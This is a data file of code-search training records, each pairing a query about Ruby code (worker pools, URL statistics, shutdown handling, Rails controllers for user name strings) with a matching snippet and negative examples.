"def workers\n @workers ||= []\n end",
"def list_ps_parallels_vms(options)\n options['search'] = \"ubuntu|debian\"\n list_parallels_vms(options)\nend",
"def workers_from_model model\n self.workers.select { |worker| worker[:model] == model.to_s.camelize }\n end",
"def worker_classes\n @worker_classes ||= begin\n if ENV['WORKERS']\n WorkerDescriptionParser.parse ENV['WORKERS']\n else\n []\n end\n end\n end",
"def list_worker_pools request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_worker_pools_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Build::V1::ListWorkerPoolsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def worker_names\n return [] unless running?\n\n case sub_state\n when :before, :after\n worker_name\n when :processing\n input.running.collect { |slice| slice.worker_name }\n else\n []\n end\n end",
"def worker_pool(count, *queues_and_options)\n end",
"def workers\n # deprecation notice added to v2.21.3 on 03/16/12\n display(\"~ `heroku ps:workers QTY` has been deprecated and replaced with `heroku ps:scale workers=QTY`\")\n\n workers = shift_argument\n validate_arguments!\n\n if workers\n action(\"Scaling workers\") do\n new_workers = api.put_workers(app, workers).body[\"workers\"]\n status(\"now running #{new_workers}\")\n end\n else\n app_data = api.get_app(app).body\n if app_data[\"stack\"] == \"cedar\"\n raise(Heroku::Command::CommandFailed, \"For Cedar apps, use `heroku ps`\")\n else\n display(\"#{app} is running #{quantify(\"worker\", app_data[\"workers\"])}\")\n end\n end\n end",
"def options\n self.items\n itemsArr = @items.keys\n @options = []\n for i in 1..(items.length) do\n @options = @options + itemsArr.combination(i).to_a\n end\n @options\n end",
"def get_app_scaling_limits\n web_cart = get_framework_cartridge\n component_instance = self.component_instances.find_by(cartridge_name: web_cart.name)\n group_instance = group_instances_with_scale.select{ |go| go.all_component_instances.include? component_instance }[0]\n [group_instance.min, group_instance.max]\n end",
"def cpu_options\n data[:cpu_options]\n end",
"def workers\n result = {}\n\n @servers.each do |server|\n\n\n sock=socket server\n if sock.nil?\n result[server] = \"unable to connect to server\" if sock.nil?\n\n else\n result[server] = {}\n result[server][:workers] = []\n if response = send_command(sock, 'workers')\n response.split(\"\\n\").each do |line|\n workers = parse_worker_line line unless line == '.'\n result[server][:workers] << workers\n end\n else\n result[server][:workers] = \"No response from server\"\n\n end #response\n end #if\n end #servers\n result\n end",
"def workers\n @queues.keys\n end",
"def workers\n\n session[:selected] = 'workers'\n\t\t@workers = User.get_workers_for_approver(current_user.id, params[:page], 20)\n \n\tend"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns workers scaling algorithms descriptions as hash [id > description] | def workers_scaling_algorithms_description
WorkersScaling::AlgorithmFactory.get_algorithms_list.map {|entry| [entry[:id], entry[:description]] }.to_h
end | [
"def workers_scaling_options\n options = WorkersScaling::AlgorithmFactory.get_algorithms_list.map { |entry| [entry[:name], entry[:id]] }\n options_for_select options, selected: options.first\n end",
"def algo\n @hashAlgo.to_s\n end",
"def hash(algorithm)\n hashes[algorithm]\n end",
"def hash\n hash = 17\n hash = 37 * hash + @prob.hash\n hash = 37 * hash + @alias.hash\n hash = 37 * hash + @values.hash\n hash\n end",
"def algorithms\n Bases::Algorithms\n end",
"def build_pcrs_hash\n pcrs = distribute_pcrs operations.running, 4\n pcrs.each do |pcr|\n lengths = pcr[:ops_by_bin].values.flatten.collect { |op| op.output(FRAGMENT).sample.properties[\"Length\"] }\n extension_time = (lengths.max)/1000.0*SEC_PER_KB\n # adding more extension time for longer size PCR.\n if lengths.max < 2000\n extension_time += 30\n elsif lengths.max < 3000\n extension_time += 60\n else\n extension_time += 90\n end\n extension_time = 3 * 60 if extension_time < 3 * 60\n pcr[:mm], pcr[:ss] = (extension_time.to_i).divmod(60)\n pcr[:mm] = \"0#{pcr[:mm]}\" if pcr[:mm].between?(0, 9)\n pcr[:ss] = \"0#{pcr[:ss]}\" if pcr[:ss].between?(0, 9)\n\n # set up stripwells (one for each temperature bin)\n pcr[:ops_by_bin].each do |bin, ops|\n ops.make\n pcr[:stripwells] += ops.output_collections[FRAGMENT]\n end\n end\n pcrs\n end",
"def counters_hash\n\t\treturn symbolize( PF::PFRES_NAMES ).zip( self.counters ).to_h\n\tend",
"def descriptive_confighash\n item_map = dscui.item_by_id_map\n confighash.map { |k, v|\n [item_map[k.to_s].description, v]\n }.to_h\n end",
"def algorithm\n @algorithm\n end",
"def to_hash(for_app_config = true)\n {\n shard_pool: @name\n }\n end",
"def algorithms\n \n @algorithms ||= @lmdb.transaction do\n if ret = @dbs[:control]['algorithms']\n ret.strip.split(/\\s*,+\\s*/).map(&:to_sym)\n end\n end\n end",
"def hash\n Digest::SHA256.hexdigest(@icons.join(\"|\"))\n end",
"def hasher\n pool = ['a', 'c', 'd', 'e', 'k', 'i', 'l', 'm', 'n', 'o', 'p', 'r', 's', 't', 'u', 'y']\n h = 9\n n = 1693941520599974437\n key = []\n while key.length < h\n pool.each do |i|\n if (n - pool.index(i)) % 83 == 0 && n > 9\n key.push(i)\n n = (n - pool.index(i)) / 83\n end\n end\n end\n answer = key.reverse.join('')\n print answer\nend",
"def specifications\n rv = [] \n specification_hash.each do |opt, text| \n rv << \"#{opt.name} = #{text}\" \n end \n rv.join(' - ') \n end",
"def long_hash\n\t\t\tDigest::SHA1.hexdigest(stops.collect{|stop| stop.long_hash_element}.join)\n\t\tend",
"def algorithm_name\n raise NotImplementedError\n end",
"def item_combinations\n {\n [\"BoxOfNails\", \"WoodPlank\"] => \"NailPlank\",\n [\"GasCan\", \"Lighter\"] => \"FlameThrower\"\n }\n end",
"def pcr_hash_algorithm\n return @pcr_hash_algorithm\n end",
"def algorithms\n @algorithms ||= %w{ l-bfgs sgd-l1 bcd rprop rprop+ rprop- auto }.freeze\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Show all statistics for a given URL | def index
@statistics = @url.url_statistics
end | [
"def stats\n request :get, \"_stats\"\n end",
"def stats\n perform_get('/stats', Neows::Models::Stat)\n end",
"def stat_by_url(url, userdics: nil)\n stat_by_web(url, userdics: userdics)\n end",
"def stats\n get 'stats', format: 'json'\n end",
"def make_url_summary_output(url)\n out = \"#{(url[:final_url] || url[:url]).bold}\\n\" +\n \"#{'Shares:'.bold} #{url[:count]}\\n\"\n out += \"#{'Title:'.bold} #{url[:title] || 'Unknown'}\\n\"\n if url[:http_status]\n case url[:http_status]\n when 200..299\n status = url[:http_status].to_s.bold.light_green\n when 400..499\n status = url[:http_status].to_s.bold.light_yellow\n when 500..599\n status = url[:http_status].to_s.bold.light_red\n else\n status = url[:http_status].to_s.bold\n end\n out += \"#{'Status Code:'.bold} #{status}\\n\"\n else\n out += \"#{'Status Code:'.bold} Unknown\\n\"\n end\n out += \"#{'Content Type:'.bold} #{url[:content_type] || 'Unknown'}\\n\"\n out\n end",
"def summary\n redirect_to sites_url if request.get?\n end",
"def display_webpage_views\n webpage_views\n puts 'Overall webpage views'\n puts \"\\n\"\n @webpage_views_hash.each do |webpage, view_hash|\n puts webpage\n puts \"#{view_hash.values[0]} unique views\"\n puts \"#{view_hash.values[1]} total views\"\n puts \"\\n\"\n end\n end",
"def get_stats short_url\n stats = {}\n result_set = select(\"select original_url, created_at from urls where short_urls = '#{short_url}'\")\n row = result_set.next_hash\n\n if !row.nil?\n stats[\"short_url\"] = short_url\n stats[\"original_url\"] = row[\"original_url\"]\n stats[\"created_at\"] = row[\"created_at\"]\n\n visits = select(\"select count(*) from visits where short_urls = '#{short_url}'\")\n\n stats[\"total_visits\"] = visits.next_hash[\"count(*)\"]\n else\n stats[\"error\"] = \"#{short_url} - doest not exists\"\n end\n\n stats\n end",
"def main_page_stats(params)\n s = \"\"\n # Show counters at the top of the page\n counters = {}\n params[:stats].each do |stat|\n if stat.class == Counter and stat.conditions.server == nil\n counters.update({stat.descr => stat.value})\n # s << output_counter(stat:stat)\n end\n end\n s << output_list_group(counters,tabs=params[:tabs])\n @inc = 0\n params[:stats].each do |stat|\n if stat.class == Distribution and stat.conditions.server == nil\n s << output_distrib_normal(stat:stat,tabs:params[:tabs],sort_type:stat.sort_type)\n end\n end\n s\n end",
"def view_stats_all\n data = {\n :name => \"Company Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'companies'\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end",
"def response_time_metrics\n result = {}\n @urls.each do |url|\n result[url[:name]] = get_metrics(url[:path])\n end\n print result\n end",
"def view_stats_all\n data = {\n :name => \"Student Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n Impression.where(\n \"created_at > ? AND created_at < ? AND action_name = ? AND controller_name = ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day,\n 'stat_show',\n 'students'\n ).count\n }\n }\n respond_with data\n end",
"def stats\n @page_title = I18n.t(\"statistics\")\n redirect_to root_url unless current_user.is_admin? # don't release this yet...it's not ready for public consumption\n @stats = PageStatsTaxon.latest\n end",
"def manager_stats_by_hour\n get '/manager/stats/hourly'\n end",
"def statistics(*args)\n puts \"Overall Statistics\"\n puts \"------------------\"\n format_statistics(pool.stats)\n end",
"def summary\n status = self.page_status\n puts \"XXXX[#{self.report_flags}] | #{self.response_code.to_s} | #{status} | #{self.url} | #{self.size}\"\n return nil\n end",
"def analytics_for(url)\n UrlAnalytics.new(url).collect_data\n end",
"def view_stats\n @company = Company.find(params[:id])\n data = {\n :name => \"Student Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n @company.impressions.where(\n \"created_at > ? AND created_at < ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end",
"def show_site_stats # :nologin: :norobots:\n store_location\n @site_data = SiteData.new.get_site_data\n\n # Add some extra stats.\n @site_data[:observed_taxa] = Name.connection.select_value %(\n SELECT COUNT(DISTINCT name_id) FROM observations WHERE user_id != 0\n )\n @site_data[:listed_taxa] = Name.connection.select_value %(\n SELECT COUNT(*) FROM names\n )\n\n # Get the last six observations whose thumbnails are highly rated.\n query = Query.lookup(:Observation, :all, :by => :updated_at,\n :where => 'images.vote_cache >= 3',\n :join => :'images.thumb_image')\n @observations = query.results(:limit => 6, :include => {:thumb_image => :image_votes})\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Processes shutdown requests by communicating the need to shutdown an instance with the core agent, if necessary. === Parameters errback(Proc):: error handler or nil audit(Audit):: audit for shutdown action, if needed, or nil. === Block block(Proc):: continuation block for successful handling of shutdown or nil === Return always true | def process(errback = nil, audit = nil, &block)
# yield if not shutting down (continuing) or if already requested shutdown.
if continue? || @shutdown_scheduled
block.call if block
return true
end
# ensure we have an audit, creating a temporary audit if necessary.
sender = Sender.instance
agent_identity = sender.identity
if audit
case @level
when REBOOT, STOP, TERMINATE
operation = "/forwarder/shutdown"
payload = {:agent_identity => agent_identity, :kind => @level}
else
raise InvalidLevel.new("Unexpected shutdown level: #{@level.inspect}")
end
# request shutdown (kind indicated by operation and/or payload).
audit.append_info("Shutdown requested: #{self}")
sender.send_request(operation, payload) do |r|
res = OperationResult.from_results(r)
if res.success?
@shutdown_scheduled = true
block.call if block
else
fail(errback, audit, "Failed to shutdown instance", res)
end
end
else
AuditProxy.create(agent_identity, "Shutdown requested: #{self}") do |new_audit|
process(errback, new_audit, &block)
end
end
true
rescue Exception => e
fail(errback, audit, e)
end | [
"def shutdown!\n _shutdown 'SIGKILL' unless @shutdown\n end",
"def halt\n begin\n \n # how can i check something like cygcheck -l shutdown|grep shutdown.exe ??\n # I'd like to show a message like: You do not have a proper shutdown for cygwin installed, please install shutdown.\n # Don't use windows shutdown, wasn't cutting it for me. We need cyg-get shutdown!! Don't have cyg-get, install it with cinst cyg-get\n su_cmd = vm.config.cygwin.suexec_cmd\n su_cmd += \" \" if ! su_cmd.empty? \n @logger.info(\"Cygwin shutdown -s -f now\")\n vm.communicate.execute(\"#{su_cmd}shutdown -s -f now\")\n rescue IOError\n # Ignore, this probably means connection closed because it\n # shut down.\n end\n end",
"def shutdown\n Log.info \"Initiate shutdown\"\n\n Timeout.timeout(5) do\n trait[:essentials].each do |obj|\n obj.shutdown if obj.respond_to?(:shutdown)\n end\n\n puts \"Ramazement is over, have a nice day.\"\n\n exit\n end\n rescue Timeout::Error\n puts \"Shutdown timed out, issuing exit!\"\n exit!\n end",
"def stop_supervised\n Karafka::App.stop!\n\n # See https://github.com/dry-rb/dry-configurable/issues/93\n timeout = Thread.new { Karafka::App.config.shutdown_timeout }.join.value\n\n # We check from time to time (for the timeout period) if all the threads finished\n # their work and if so, we can just return and normal shutdown process will take place\n (timeout * SUPERVISION_CHECK_FACTOR).to_i.times do\n if consumer_threads.count(&:alive?).zero?\n Thread.new { Karafka.monitor.instrument('app.stopped') }.join\n return\n end\n\n sleep SUPERVISION_SLEEP\n end\n\n raise Errors::ForcefulShutdownError\n rescue Errors::ForcefulShutdownError => e\n Thread.new { Karafka.monitor.instrument('app.stopping.error', error: e) }.join\n # We're done waiting, lets kill them!\n consumer_threads.each(&:terminate)\n\n # exit! is not within the instrumentation as it would not trigger due to exit\n Kernel.exit! FORCEFUL_EXIT_CODE\n end",
"def shutdown_supported; end",
"def graceful_shutdown?\n @graceful_shutdown\n end",
"def shutdown!\n _shutdown 'SIGKILL' unless dead?\n end",
"def handle_failed_shutdown_request(audit, msg, res = nil)\n @audit = audit\n strand(msg, res)\n end",
"def shutdown\n _shutdown 'SIGUSR1' unless @shutdown\n end",
"def shutdown\n exec(COMMAND[:shutdown])\n\n ping =~ /^ERROR: Connection refused.*$/ ? true : false\n end",
"def shutdown\n @shutdown = true\n exit if @sleeping\n end",
"def shutdown\n log(\"Shutting down...\")\n # We need to perform the shutdown in a new thread, because this method\n # gets called from within a trap context\n Thread.new {\n Sock.off\n stop_bot\n disconnect_db\n unblock_threads\n exit\n }\nrescue => e\n fatal(\"Failed to shut down bot: #{e}\")\n exit\nend",
"def shutdown(callback)\n @shutdown_callback = callback\n return self\n\tend",
"def WithGracefulShutdown(*signals, &block)\n GracefulShutdown.new.handle_signals(*signals, &block)\nend",
"def shutdown\n runcmd 'shutdown'\n end",
"def shutdown?\n @executor.isShutdown || @executor.isTerminated\n end",
"def test_force_shutdown\n opts = {s1_complete: false, s1_response: /503/, s2_response: nil, force_shutdown_after: 0}\n shutdown_requests(**opts)\n shutdown_requests(**opts, queue_requests: false)\n shutdown_requests(**opts, post: true, s2_response: /408/)\n end",
"def shutdown(*args)\n cleanup = task do\n @running = false\n yield *args if block_given?\n end\n\n enqueue(cleanup) { @shutdown = true }\n end",
"def close_gracefully\n @request_queue.each {|request, deferrable| deferrable.fail(ServerError.new('shutdown requested')) }\n @request_queue = []\n if in_flight\n in_flight.callback { close_connection }\n in_flight.errback { close_connection }\n else\n close_connection\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Check and update wall strength | def strengthen_the_wall wall_strength, tribal_strength, direction
strength = 0
case direction
when "N"
wall_strength.north_side = tribal_strength if (tribal_strength > wall_strength.north_side)
when "S"
wall_strength.south_side = tribal_strength if (tribal_strength > wall_strength.south_side)
when "E"
wall_strength.east_side = tribal_strength if (tribal_strength > wall_strength.east_side)
when "W"
wall_strength.west_side = tribal_strength if (tribal_strength > wall_strength.west_side)
end
end | [
"def strengthen_the_wall tribal_strength, direction\n if tribal_strength > @@wall_strength[direction]\n @@wall_strength[direction] = tribal_strength\n end\n end",
"def brew_strength(strength = 5)\n if strength > 10\n @darkness = 10\n elsif strength < 1\n @darkness = 1\n else\n @darkness = strength\n end\n end",
"def strength(for_white)\n return nil if self.total == 0\n 100.0 * (2.0 * (for_white ? self.white : self.black) + self.draw) / self.total / Math.sqrt(5)\n end",
"def power_up\n if rand(100) == 0\n @player.instance_variable_set('@strength', 1/0.0)\n else\n @player.instance_variable_set('@strength', 100)\n end\n end",
"def update_steam_level; end",
"def check_lightness\n if @lightness > 1; @lightness = 1.0; end;\n if @lightness < 0; @lightness = 0.0; end;\n @lightness\n end",
"def update\n # Must firstly update the lastest hand value\n self.calculate_hand_value\n\n # Check statuses\n self.check_can_hit?\n self.check_can_split?\n self.check_is_softhand?\n self.check_is_blackjack?\n end",
"def strength\n experience = 1 # TODO: This should be the number of times s/he has played\n self.score * 5 + self.assist * 3 + experience\n end",
"def covered_strength; end",
"def attacker_strength_damage\n # add strength modifier to damage dealt\n strength = @attacker.modifier :strength \n strength = strength * 2 if is_hit_critical\n strength\n end",
"def calculate_hand_strength\r\n # Initialize the score to zero\r\n score = 0\r\n \r\n # Iterate however many times the AI was set up to simulate\r\n @iterations.times do |i|\r\n # Add one to the score if the user wins the simulated game\r\n score += 1 if simulate_game\r\n end\r\n \r\n # Calculate the hand strength by dividing the number of games won by how many games were simulated\r\n @hand_strength = score / @iterations.to_f\r\n end",
"def get_strength_weather\r\n if PZE::CLOCK == 0 #Majora's Mask Mode\r\n case $game_system.pze_day\r\n when 2\r\n case $game_system.pze_hour\r\n when 7,11,12,13,16\r\n return 25\r\n when 8,9,10,14,15\r\n return 35\r\n else\r\n return 25\r\n end\r\n else\r\n return 0\r\n end\r\n else\r\n if $game_system.pze_winter #winter\r\n case $game_system.pze_hour\r\n when 20, 21, 22, 23, 0, 1, 2, 3, 4\r\n return 40 #stong\r\n when 18, 19, 5, 6\r\n return 30 #medium\r\n else\r\n return 25 #normal\r\n end\r\n elsif $game_system.pze_autumn #autmn\r\n case $game_system.pze_hour\r\n when 10, 11, 12, 13\r\n return 25 #normal\r\n when 21,22,23,0,1\r\n return 30 #strong\r\n else\r\n return 10 #weak\r\n end\r\n else #summer/spring\r\n return 30 #normal\r\n end\r\n end\r\n end",
"def rest\n @strength += 2\n puts \"Whew. Strength now to #{@strength}.\"\n end",
"def get_pass_threshold() @pass_thresh end",
"def strength\n 1 + @supports.size\n end",
"def recalculate\n @myOutput.walkStrength = @strength\n @myOutput.stay = !isInput()\n execute() if (@myOutput.stay)# Stay optimization\n end",
"def strength\n return 1 if polarity == 'positive'\n return -1 if polarity == 'negative'\n return 2 if is_intensifier?\n return -1 if is_shifter?\n return 0\n end",
"def password_strength\n case weighted_entropy\n when 0...22\n :weak\n when 22...25\n :ok\n when 25...1000\n :strong\n end\n end",
"def recalculate\n ihn = input()\n out = output()\n out.walkStrength = Strength::weakestOf(@strength, ihn.walkStrength)\n out.stay = ihn.stay\n execute() if (out.stay)\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /user_name_lstrings GET /user_name_lstrings.json | def index
@user_name_lstrings = UserNameLstring.all
end | [
"def create\n @user_name_lstring = UserNameLstring.new(user_name_lstring_params)\n\n respond_to do |format|\n if @user_name_lstring.save\n format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully created.' }\n format.json { render :show, status: :created, location: @user_name_lstring }\n else\n format.html { render :new }\n format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_name_lstring.update(user_name_lstring_params)\n format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_name_lstring }\n else\n format.html { render :edit }\n format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @string_enforcers = ExampleUser.all\n end",
"def language_strings(data_version = nil)\n language_string = get(resource_path('language-strings'), @version, version: data_version)\n RiotGamesApi::LOL::Model::StaticData::LanguageString.new language_string\n end",
"def get_Usernames_Playlists \n username = params[:username]\n @playlists = Playlists.find_by_username(username);\n \n respond_to do |format|\n format.html\n format.json { render :json => @playlists.playlists_JSON.to_json } \n end\n end",
"def show\n @luser = Luser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @luser }\n end\n end",
"def get_user_word_lists(username, *args)\n http_method = :get\n path = '/user/{username}/wordLists'\n path.sub!('{username}', username.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, :body => body)\n request_only ? request : request.response.body\n end",
"def user_names_autocomplete\n @users = User.select { |user| user.first && user.last }\n @names = @users.map {|user| user.first + ' ' + user.last}\n @names.push('None')\n respond_to do |format|\n format.json { render :json => @names.to_json }\n end\n end",
"def index\n @lends = User.find_by_id(params[:user_id]).lends\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lends }\n end\n end",
"def index\n @possible_names = current_user.possible_names.all\n end",
"def get_lists(user)\n get(\"/#{user}/lists.json\")\n end",
"def get_slack_name(user_id, options = {})\n options = { :use_real_name => false }.merge(options)\n key = \"slack_user_names:2:#{user_id}\"\n names = $redis.get(key)\n if names.nil?\n names = get_slack_names_hash(user_id)\n $redis.setex(key, 60*60*24*30, names.to_json)\n else\n names = JSON.parse(names)\n end\n if options[:use_real_name]\n name = names[\"real_name\"].nil? ? names[\"name\"] : names[\"real_name\"]\n else\n name = names[\"first_name\"].nil? ? names[\"name\"] : names[\"first_name\"]\n end\n name\nend",
"def get_name_and_location\n @top_ten.each do |user|\n user_details = self.class.get(\"/users/#{user[0]}\").parsed_response\n user << user_details[\"name\"]\n user << user_details[\"location\"]\n end\n end",
"def list_user_names(iam)\r\n list_users_response = iam.list_users\r\n list_users_response.users.each do |user|\r\n puts user.user_name\r\n end\r\nend",
"def show_user\n usernames = params.require(:usernames)\n\n identities = Hash[User.where(username: usernames).map { |u| [u.username, u.custom_fields[DiscourseEncrypt::PUBLIC_CUSTOM_FIELD]] }]\n\n render json: identities\n end",
"def autocomplete_user_name\n term = params[:term]\n u = User.where(\n 'LOWER(users.name) LIKE ? OR LOWER(users.email) LIKE ?',\n \"%#{term}%\", \"%#{term}%\"\n ).order(:id).all\n render :json => u.map { |user| {:id => user.id, :label => user.name + \" (\" + user.email + \")\", :value => user.name + \" (\" + user.email + \")\"} }\n end",
"def get_slack_names_hash(user_id)\n uri = \"https://slack.com/api/users.list?token=#{ENV[\"API_TOKEN\"]}\"\n request = HTTParty.get(uri)\n response = JSON.parse(request.body)\n if response[\"ok\"]\n user = response[\"members\"].find { |u| u[\"id\"] == user_id }\n names = { :id => user_id, :name => user[\"name\"]}\n unless user[\"profile\"].nil?\n names[\"real_name\"] = user[\"real_name\"] unless user[\"real_name\"].nil? || user[\"real_name\"] == \"\"\n names[\"first_name\"] = user[\"profile\"][\"first_name\"] unless user[\"profile\"][\"first_name\"].nil? || user[\"profile\"][\"first_name\"] == \"\"\n names[\"last_name\"] = user[\"profile\"][\"last_name\"] unless user[\"profile\"][\"last_name\"].nil? || user[\"profile\"][\"last_name\"] == \"\"\n end\n else\n names = { :id => user_id, :name => \"Sean Connery\" }\n end\n names\nend",
"def get_slack_names_hash(user_id)\n uri = \"https://slack.com/api/users.list?token=#{ENV[\"API_TOKEN\"]}\"\n request = HTTParty.get(uri)\n response = JSON.parse(request.body)\n if response[\"ok\"]\n user = response[\"members\"].find { |u| u[\"id\"] == user_id }\n names = { :id => user_id, :name => user[\"name\"]}\n unless user.nil? || user[\"profile\"].nil?\n names[\"real_name\"] = user[\"profile\"][\"real_name\"] unless user[\"profile\"][\"real_name\"].nil? || user[\"profile\"][\"real_name\"] == \"\"\n names[\"first_name\"] = user[\"profile\"][\"first_name\"] unless user[\"profile\"][\"first_name\"].nil? || user[\"profile\"][\"first_name\"] == \"\"\n names[\"last_name\"] = user[\"profile\"][\"last_name\"] unless user[\"profile\"][\"last_name\"].nil? || user[\"profile\"][\"last_name\"] == \"\"\n end\n else\n names = { :id => user_id, :name => \"Sean Connery\" }\n end\n names\nend",
"def msg_LUSERS(source, args)\n return [\"251 #{source} :here are 0 users and 1 invisible\",\n \"252 #{source} 1 :IRC Operators online\",\n \"255 #{source} :I have 1 clients and 1 server\",\n \"265 #{source} 1 1 :Current local users 1, max 1\"]\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /user_name_lstrings POST /user_name_lstrings.json | def create
@user_name_lstring = UserNameLstring.new(user_name_lstring_params)
respond_to do |format|
if @user_name_lstring.save
format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully created.' }
format.json { render :show, status: :created, location: @user_name_lstring }
else
format.html { render :new }
format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n respond_to do |format|\n if @user_name_lstring.update(user_name_lstring_params)\n format.html { redirect_to @user_name_lstring, notice: 'User name lstring was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_name_lstring }\n else\n format.html { render :edit }\n format.json { render json: @user_name_lstring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @user_name_lstrings = UserNameLstring.all\n end",
"def create\n @string_enforcer = ExampleUser.new(string_enforcer_params)\n\n respond_to do |format|\n if @string_enforcer.save\n format.html { redirect_to @string_enforcer, notice: 'String enforcer was successfully created.' }\n format.json { render :show, status: :created, location: @string_enforcer }\n else\n format.html { render :new }\n format.json { render json: @string_enforcer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @languagestring = Languagestring.new(params[:languagestring])\n\n respond_to do |format|\n if @languagestring.save\n format.html { redirect_to @languagestring, notice: 'Languagestring was successfully created.' }\n format.json { render json: @languagestring, status: :created, location: @languagestring }\n else\n format.html { render action: \"new\" }\n format.json { render json: @languagestring.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reserved_username = ReservedUsername.new(params[:reserved_username])\n\n respond_to do |format|\n if @reserved_username.save\n format.html { redirect_to admin_reserved_usernames_url , notice: 'Reserved username was successfully created.' }\n format.json { render json: @reserved_username, status: :created, location: @reserved_username }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reserved_username.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @user_name_lstring.destroy\n respond_to do |format|\n format.html { redirect_to user_name_lstrings_url, notice: 'User name lstring was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @lti_user = LtiUser.new(lti_user_params)\n\n respond_to do |format|\n if @lti_user.save\n format.html { redirect_to @lti_user, notice: 'Lti user was successfully created.' }\n format.json { render :show, status: :created, location: @lti_user }\n else\n format.html { render :new }\n format.json { render json: @lti_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @luser = Luser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @luser }\n end\n end",
"def create\n @blacklist_username = BlacklistUsername.new(params[:blacklist_username])\n\n respond_to do |format|\n if @blacklist_username.save\n format.html { redirect_to admin_blacklist_usernames_path, notice: t(:created, :name=>\"Login proibido\") }\n format.json { render json: @blacklist_username, status: :created, location: @blacklist_username }\n else\n format.html { render action: \"new\" }\n format.json { render json: @blacklist_username.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lsa_training_unique_word = LsaTrainingUniqueWord.new(params[:lsa_training_unique_word])\n\n respond_to do |format|\n if @lsa_training_unique_word.save\n format.html { redirect_to @lsa_training_unique_word, notice: 'Lsa training unique word was successfully created.' }\n format.json { render json: @lsa_training_unique_word, status: :created, location: @lsa_training_unique_word }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lsa_training_unique_word.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lui = Lui.new(lui_params)\n\n respond_to do |format|\n if @lui.save\n format.html { redirect_to @lui, notice: 'Lui was successfully created.' }\n format.json { render :show, status: :created, location: @lui }\n else\n format.html { render :new }\n format.json { render json: @lui.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lui = Lui.new(lui_params)\n\n respond_to do |format|\n if @lui.save\n format.html { redirect_to @lui, notice: \"Lui was successfully created.\" }\n format.json { render :show, status: :created, location: @lui }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @lui.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user_names_autocomplete\n @users = User.select { |user| user.first && user.last }\n @names = @users.map {|user| user.first + ' ' + user.last}\n @names.push('None')\n respond_to do |format|\n format.json { render :json => @names.to_json }\n end\n end",
